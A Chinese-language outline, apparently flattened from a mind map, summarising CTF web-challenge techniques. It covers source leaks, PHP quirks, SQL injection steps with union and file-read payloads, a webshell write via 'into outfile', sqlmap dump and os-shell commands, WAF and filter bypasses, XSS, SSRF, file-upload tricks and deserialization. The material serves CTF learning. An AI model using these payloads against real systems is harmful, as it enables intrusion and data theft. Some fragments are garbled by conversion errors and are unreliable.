网上似乎没有一篇比较完整的CTF Web题思路的总结,希望这篇“最全总结”对各位师傅有帮助。
文章目录
基础
Flag可能出现的位置
网页源代码(注意注释)
数据库中
phpinfo
靶机中的文件
环境变量
题目要求
XFF/Refer/UA/Cookie/F12(view-source)/URL/robots.txt/响应码/
指纹识别
工具
Arjun:HTTP参数挖掘套件
TideFinger/Bscan/Glass
Wappalyzer插件
错误界面(404/302)
源码泄露(dirsearch)
Git
Githack恢复
查看log后选择性地进行git reset回滚
.git/config可能有access_token信息
SVN
Seay-svn
dvcs-ripper工具
注意wc.db文件存在与否
WEB-INF/web.xml泄露
.DS_Store文件泄漏
.hg泄露
dvcs-ripper工具
CVS泄露
备份文件泄露
gedit:filename ~
vim:vim -r filename.swp/.swo/.swn
www.zip/rar/tar.gz
PHP专题
MD5/SHA1数组绕过、0e
is_numeric()绕过:33a
比较大小:数组大于任何其他类型
intval() 1a/1%00/a1=0
正则式:/e可执行,构造越界
命令执行
运用分隔符&或| 若无严格过滤可出现任意漏洞执行漏洞
反弹shell的方式
%0A参数污染
无参RCE
绕过preg_match的RCE
非常经典的如无符号RCE
过滤与bypass
linux中{IFS}可以代替空格
内联执行
长度限制与解决方案
利用文件名
MySQL服务端恶意读取客户端文件漏洞
Redis 4.x CVE
主从复制写shell
https://github.com/n0b0dyCN/redis-rogue-server
Redis结合SSRF
https://github.com/xmsec/redis-ssrf
容器和框架漏洞
Nginx配置漏洞
Windows相关
IIS PUT上传漏洞
IIS 远程溢出漏洞
IIS短文件漏洞
文件上传的绕过
Apache HTTP组件提权漏洞
CVE-2019-0211
CGI 漏洞
ThinkPHP
Twig
Laravel
Smarty
ASP
ASP.NET VIEWSTATE反序列化
web.config利用
JAVA WEB
Struts2框架漏洞
OGNL注入
Spring框架漏洞
SPEL注入
组件漏洞
FastJson等
反序列化漏洞
Hessian
二进制(ObjectOutputStream)
JSON
XML
YAML
JRMP安全性问题
JWT攻击
敏感信息泄露
将算法修改为none
密钥混淆攻击
无效签名
暴力破解密钥
密钥泄露
操纵KID
操纵头部参数
JavaScript框架
SSJI(服务端JavaScript注入)
Node.js
Vue.js
JavaScript Prototype 污染攻击
Python
沙箱逃逸
利用内建函数执行命令
过滤与bypass
各种框架的漏洞
Flask
SESSION安全问题
https://www.leavesongs.com/PENETRATION/client-session-security.html
敏感信息泄露
验证码绕过
SESSION伪造和对象注入漏洞
使用hash而非hmac进行签名
Hash长度拓展攻击
任意文件读取
加密而未签名
CBC字节翻转攻击
Tornado
Django
反序列化漏洞
pickle模块
Ruby
ERB模板注入
SQL注入及数据库
手工注入
原理
用户输入的内容传到web应用,没有经过过滤或者严格的过滤,被带入到了数据库中进行执行
漏洞产生的关键条件
用户能够控制 自己的输入
直接控制输入
间接控制输入
二次注入
按照数据库分类
mysql数据库
六种基本的注入模式
联合注入
几大基本步骤
判断是否有注入以及注入点的类型
是否有注入
加单引号
and 8731=8731
and ‘a’=‘a’
and 1=2
or 1=1
or 1=2
注入点类型
字符型
’
"
')
")
%’
数字型
判断查询列数
为什么
union 前后两个select语句的列数要一致
原理
order by是排序的语句
select * from users order by id
select * from users order by id desc
select * from users order by 1
order by n
联合查询
union
id=1’ union select 1,2,3–+
id=-1’ union select 1,2,3–+
获取基本信息
version()
获取数据库的版本
database()
获取当前网站使用的数据库
user()
当前网站使用的数据库账号
@@secure_file_priv
数据库的读写文件
@@datadir
数据库的安装目录
phpstudy
####### c:\phpstudy\mysql
####### c:\phpstudy\www
wamp
####### c:\wamp\mysql
####### c:\wamp\www
…(自行补充)
获取数据库名
information_schema数据库
schemata数据表
tables数据表
columns数据表
schemata数据表里面获取数据库名
select schema_name from schemata;
id=1’ union select 1,2,group_concat(schema_name) from information_schema.schemata
获取数据表名
tables表
select table_name from tables where table_schema=‘security’;
select table_name from tables where table_schema=database();
id=1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
获取列名
columns表
select column_name from columns where table_schema=‘security’ and table_name=‘users’;
优化步骤
select table_name,column_name from columns where table_schema=‘security’;
id=1’ union select 1,2,group_concat(table_name,’_’,column_name) from information_schema.columns where table_schema=database()
获取数据
md5破解
md5破解的做法
暴力枚举
报错注入
几个函数
updatexml
extractvalue
报错的原理
构造不满足xpath语法的内容
报错的语句
id=1’ and extractvalue(1,concat(0x7e,(select user()),0x7e))
注意
版本限制
32位长度限制
substr
其他函数
布尔盲注
原理
布尔运算
and
or
步骤
获取数据库名
判断有多少个数据库
count()
判断第一个数据库名的长度
length()
获取第一个每一位数据库名字的字符
substr()
ascii()
判断第二个数据库名的长度
获取第二个数据库每一位数据库名字的字符
获取数据表名
判断数据库里面有多少个数据表
判断第一个数据库的长度
获取第一个数据表的每一位字符
获取列名
获取数据
时间盲注
原理
发送一个请求,网站接受请求,并发送到数据库执行相关的操作,等待数据库返回结果,人为的延长数据库的执行时间,判断是否有注入
步骤
同布尔盲注
if(判断条件,条件为真时返回的值,条件为假时返回的值)
sleep()
benchmark()
堆叠注入
mysqli_query函数不支持堆叠注入
mysqli_muiti_query()支持堆叠注入
语法
select * from users;create table you(id int);#
id=1’;create table you(id int);#
内联注入
子查询
select (select 1)
区别
应用范围
时间盲注>布尔盲注>报错注入=联合注入
利用便捷度
联合注入>报错注入>布尔盲注>时间盲注
sql server数据库
access数据库
oracle数据库
mongodb数据库
按照语句划分
select
四种基本注入
update
联合注入不行
insert
联合注入不行
delete
联合注入不行
limit之后的注入
order by之后的注入
按照位置划分
get
post
http header
cookie
referer
user-agent
注意
不管这个数据从什么地方传到数据库执行的,只要数据可控,那就有可能产生注入漏洞
其他类型
base64注入
二次解码注入
插入admin'or'1
宽字节注入
OOB-dns外带注入
sqlmap
基本步骤
检测是否有注入点
sqlmap -u “http://www.xxx.com/1.php?id=1”
获取所有数据库名
sqlmap -u “http://www.xxx.com/1.php?id=1” --dbs
获取数据表
sqlmap -u “http://www.xxx.com/1.php?id=1” -D liuyanban --tables
获取列名
sqlmap -u “http://www.xxx.com/1.php?id=1” -D liuyanban -T users --columns
获取数据
sqlmap -u “http://www.xxx.com/1.php?id=1” -D liuyanban -T users -C id,username,password --dump
常用参数
-r
读取文件,提交数据包
用*进行标记
-m
批量注入
–cookie
–user-agent
–current-db
–current-user
–users
获取当前数据库的登陆用户
–passwords
获取当前数据库的用户密码
-v
五个等级
–level
–delay
–time-sec
读写文件
原理
读
load_file
关键条件
有读权限
secure_file_priv
SELinux
知道绝对路径
用法
id=1’ union select 1,2,load_file(’/etc/passwd’)
id=1’ union select 1,2,load_file(0x0000000)
id=1’ union select 1,2,load_file(char(10,20))
id=1’ union select 1,2,hex(load_file(char(10,20)))
写
into outfile
关键条件
有写权限
secure_file_priv
SELinux
知道绝对路径
绕过单引号的过滤
用法
id=1’ union select 1,2,’ ¶
<?php phpinfo(); ?>
{=html} ¶ ’ into outfile ‘/var/www/html/shell.php’
id=1’ union select 1,2,0x00000000 into outfile ‘/var/www/html/shell.php’
参数
读
–file-read
写
–file-write
–file-dest
进阶参数
–os-shell
原理
利用写文件,先写入一个简单的上传页面,再利用上传页面,上传一个webshell执行命令,从webshell页面获取命令回显
–os-cmd
waf
原理
身份认证
白名单
黑名单
数据包解析
规则匹配
绕waf的方式
身份认证层面
伪造白名单
数据包解析层面
数据包加密
冰蝎
自加密
规则匹配层面
利用数据库、中间件、编程语言的种种特性进行绕过
绕waf基础方式
大小写
uNioN SeLect
替代
UNunionION SELselectECT
特殊字符
代替空格的特殊字符
%0a
%0c
括号
花括号
编码
url编码
unicode编码
注释符号
普通注释
内联注释
综合方式
大小写
特殊字符
编码
注释符号
参数污染
缓冲区溢出
分块传输
正则绕过:\bselect\b -> /! 50000select/
遗漏的注入点
tamper
常用的tamper脚本
用法
sqlmap -u “http://www.xxx.com/index.php?id=1” --tamper space2comment.py
进阶
自己编写tamper脚本
注意站库分离
XSS/CSRF/XXE/SSRF/SSTI
XSS
过滤特定标签
使用事件
使用新标签
过滤事件
fuzz
使用伪协议或其他可以执行JS代码的标签属性
过滤敏感关键字(字符)
字符串拼接混淆
编解码
在XSS放置在客户端
字符相关
字符集编码相关
宽字节
长度限制
利用第三方库函数
利用注释
window.name和location.*
HttpOnly相关
CVE-2012-0053
phpinfo()
利用Flash/Java的API
XSS Auditor
字符集编码
利用协议理解不一致
利用CRLF
CSP
SSTI
tqlmap工具
XXE
原理
xml外部实体注入
实体
内部实体
外部实体
xml格式
利用
任意文件读取
ssrf
命令执行
CSRF
原理
跨域
同源
协议相同
域名相同
端口相同
跨
同源策略
ajax无法跨域
自动表单提交
¶
<script src>
{=html}
其他
crossdomain.xml的错误配置
SSRF
hash长度扩展攻击
HashPump
PHP SOAP
SOAP是PHP中的原生类,其常和反序列化漏洞一起考察
过滤与Bypass
限制请求特定域名
@
限制访问内网IP
进制转换
省略写法
利用DNS和可控域名
文件上传
原理
用户能够控制自己上传的文件,web应用没有经过过滤或者没有经过严格的过滤,上传的恶意文件被保存到服务器上当做脚本文件来执行
常规的利用方式
直接上传
绕过前端JS验证
不让js代码生效
删除js
禁用js
修改js
抓包修改
1.jpg改为1.php
mime-type值验证
概念
补充
抓包修改
Content-Type
image/jpeg
image/png
image/gif
文件头
概念
子主题 1
利用方式
抓包修改
jpeg
png
gif
GIF89a
图片马
1.jpg改成1.php
黑名单
解析漏洞
apache
nginx
iis 6.0
fck编辑器
目录解析
新建一个xx.asp目录,在这个目录里面的文件都会当作asp文件来执行
文件名解析
xxx.asp;1.jpg
重命名文件
时间戳.jpg
iis 7.0/7.5
php路径修复
中间件的特性
iis6.0
asa
cer
cdx
常规方式
大小写
windows文件流
操作系统特性
1.jpg空格
1.jpg.
白名单
解析漏洞
文件包含
ewebeditor后台可以修改白名单
后台getshell
备份数据功能
把当前数据库备份为一个文件
可以指定文件后缀
1.php
不可以指定文件后缀
抓包修改
不能修改
想办法插入一句话代码
新建、浏览文件/目录功能
getshell
文件包含漏洞
任意文件读取
xx.php?filename=…/…/index.php
任意文件下载
注意
前台和后台分离
www.xxx.com
www.xxx.com/admin
admin.xxx.com
二次渲染
含义
图片马
注意负载均衡
练习平台
upload-labs
文件包含
原理
分类
远程文件包含
利用方式
include.php?file=http://xxx.com/1.txt
本地文件包含
利用方式
伪协议
特殊方式
包含日志文件
load data infile
路径问题
可以直接获取路径
通过返回包获取
右键查看地址
无法直接获取路径
查看源代码或者本地搭建
猜
通用的路径
img
images
upload
uploads
file
分析网站结构
爬虫
分析网站命名方式
上传文件保存在另外的服务器上面
防御方式
反序列化
Java
PHP
框架
weblogic
struct2
fastjson
其他
代码审计
XSS
print()
printr()
echo
printf()
sprintf()
die()
var_dump()
var_export()
代码执行
函数
eval()
assert()
preg_repace()
create_function()
array_map()
call_user_func()
call_user_func_array()
array_filter()
usort()
uasort()
过滤与bypass
利用各种函数的返回值进行拼接
利用^符号异或出想要的东西
利用等价表达式
_
空格
.
文件包含
include()
include_once()
require()
require_once()
文件读取(下载)
file_get_contents()
highlight_file()
fopen()
readfile()
fread()
fgetss()
fgets()
parse_ini_file()
show_source()
file()
sort()比较鸡肋
命令执行
相关函数
system()
exec()
shell_exec()(反引号也可以)
passthru()
pcntl_exec()
popen()
proc_open()
create_function()
这个是逃逸后可以命令执行
过滤与bypass
disable_function
ld_preload
php_gc
限制命令长度
限制回显长度
过滤字符
空格
bash环境
<
${IFS}
$IFS$9
%09
某些函数名
截断符号
fuzz得出没被过滤的
利用base编码绕过
用两个单引号
比如命令 cat /etc/passwd
等价于 cat /etc/pass’w’d
文件上传
move_uploaded_file()
文件删除
unlink()
session_destroy()(老版本)
变量覆盖
extract()
parse_str
无第二个参数会引起变量覆盖
import_request_variables()
for each($_GET as
k
e
y
=
>
key=>
key=>value) KaTeX parse error: Expected '}', got 'EOF' at end of input: {key}=$value
register_globals
弱类型比较
、=、!==、!=
md5,sha1的==绕过
is_numeric
16进制编码绕过
%00放在数字开头或者结尾,%20放在开头都能使函数返回false
in_array
弱不相等却md5值相等的情况
只需要利用NaN(float)和’NaN’(string)即可(INF等同理)
PHP黑魔法
这里记录的是一些比较Trick的内容
主要是一些函数的特性
md5
绕过sql,md5(‘ffifdyop’,true)= 'or’6xxx
当raw设置为true时输入 ffifdyop 可以对单引号进行闭合
经过md5编码后返回的原始二进制不是普通的二进制(因为raw为true),而是’or’6
\xc9
{=tex}]
\x99
{=tex}
\xe9
{=tex}!r,
\xf9
{=tex}
\xedb
{=tex}
\x
{=tex}1c
这种。这样的话就会和前面的形成闭合,构成万能密码;
弱类型绕过和强类型绕过
eval
可使用分号构造出多条语句
ereg
存在%00截断
strcmp
影响版本 PHP5.3 及以下
无法处理数组并将return 0
ascii
传进去的是字符串只会截取第一个字符进行处理
curl_setopt
存在可能的SSRF
preg_replace
第二个参数使用 /e模式导致代码执行
urldecode
url二次编码绕过
include
include函数有这么一个神奇的功能:若以字符’/‘分隔(而且不计个数),若是在前面的字符串所代表的文件无法被PHP找到,则PHP会自动包含’/‘后面的文件------注意是最后一个’/’。(存疑)
__wakeup
(CVE-2016-7124)
影响版本: · PHP before 5.6.25 · 7.x before 7.0.10
反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup( )的执行
open_basedir
PHP5.x
可绕过并进行任意文件读取(两种方法)
in_array()
第三个参数如果设置为FALSE,就存在注入点
spl_autoload_register
配合文件上传可以getshell
create_function()
代码注入
file_get_contents
经常用伪协议绕过
mt_rand
SEED相关的安全性问题
sprintf
格式化字符串漏洞
parse_url
可用于绕过某些过滤
preg_match
- 可绕过进行代码执行,见P神的文章
- 通过pre_match函数的资源消耗来绕过,因为pre_match在匹配的时候会消耗较大的资源,并且默认存在贪婪匹配,所以通过喂一个超长的字符串去给pre_match吃,导致pre_match消耗大量资源从而导致php超时,后面的php语句就不会执行。
- 回溯次数上限pcre.backtrack_limit相关的安全问题
- %0A,%0D 参数污染相关问题
intval
类型转换上限
Session绕过
删除cookie,没有cookie中的SESSIONID就找不到对应的session文件,相应的$_SESSION[‘var’]就为NULL,传参NULL即可匹配。
file_put_contents
第二个参数写入数据如果是数组的话,会被连接起来写入文件。但是这样就能绕过前面的过滤。
json_encode/decode
json_encode:将数组转换为json,只支持utf8格式的数据。json_encode
会自动将utf8格式的汉字转为unicode格式。gbk格式的数据只能输出NULL。
json_decode:可以解析unicode编码格式的字符串,官方说明只能解析utf-8编码的数据。 英文字符不区分编码格式,encode decode都能解析。
json_decode:可以当作mysql的分隔符:
空格 +
\f
{=tex}
\n
{=tex}
\r
{=tex}
\t \u0
{=tex}009
\u0
{=tex}00A
\u0
{=tex}00B
\u0
{=tex}00C
\u0
{=tex}00D
\u0
{=tex}020
\u0
{=tex}02B
几乎所有的字符串相关函数都不能处理数组,此时会返回NULL,可用于绕过
举例: md5,sha1,strpos
ereg
MD5
sha1
strpos
strcmp
变量特性
ignore_user_abort
并发漏洞
$_SERVER[‘QUERY_STRING’]
不会像$_GET一样进行urldecode
disable_functions
有七种做法进行绕过
可以试试蚁剑的插件
未exit(),return()引发的相关问题
伪静态绕过
反序列化漏洞
对各种魔法函数的理解
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__construct()//对象创建时自动调用
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
pop链的构造
寻找位点
正向构造
切入点------__wakeup()------其他
反向推理
从flag开始推起
phar与反序列化
由于替换引起的反序列化字符串逃逸
绕过正则
if (preg_match(’/[oc]:
\d+
{=tex}:/i’,
‘O:4:“Demo”:1:{s:10:“Demofile”;s:16:“f15g_1s_here.php”;}’)) 进行这种正则判断的时候,可以在数字前加’+'号来绕过,数字的正号在序列化后的字符串中可以省略,但是可以绕过正则
逻辑漏洞
用户名和密码分开验证
下单和扣款的先后顺序
技巧相关
小型代码
寻找输入点
对针对输入点的过滤进行绕过
在处理输入的函数中寻找漏洞
进行利用
大型代码
寻找危险函数
向上回溯 寻找可用输入点
尝试绕过过滤
寻找触发漏洞的方法
2019强网杯Web-Upload
脚本编写
其他
Clickjacking
HEREDOC
JSPFUCK
Web Assembly
整数溢出
常见于商城,购物界面
Hash长度拓展攻击
版权归原作者 yjprolus 所有, 如有侵权,请联系我们删除。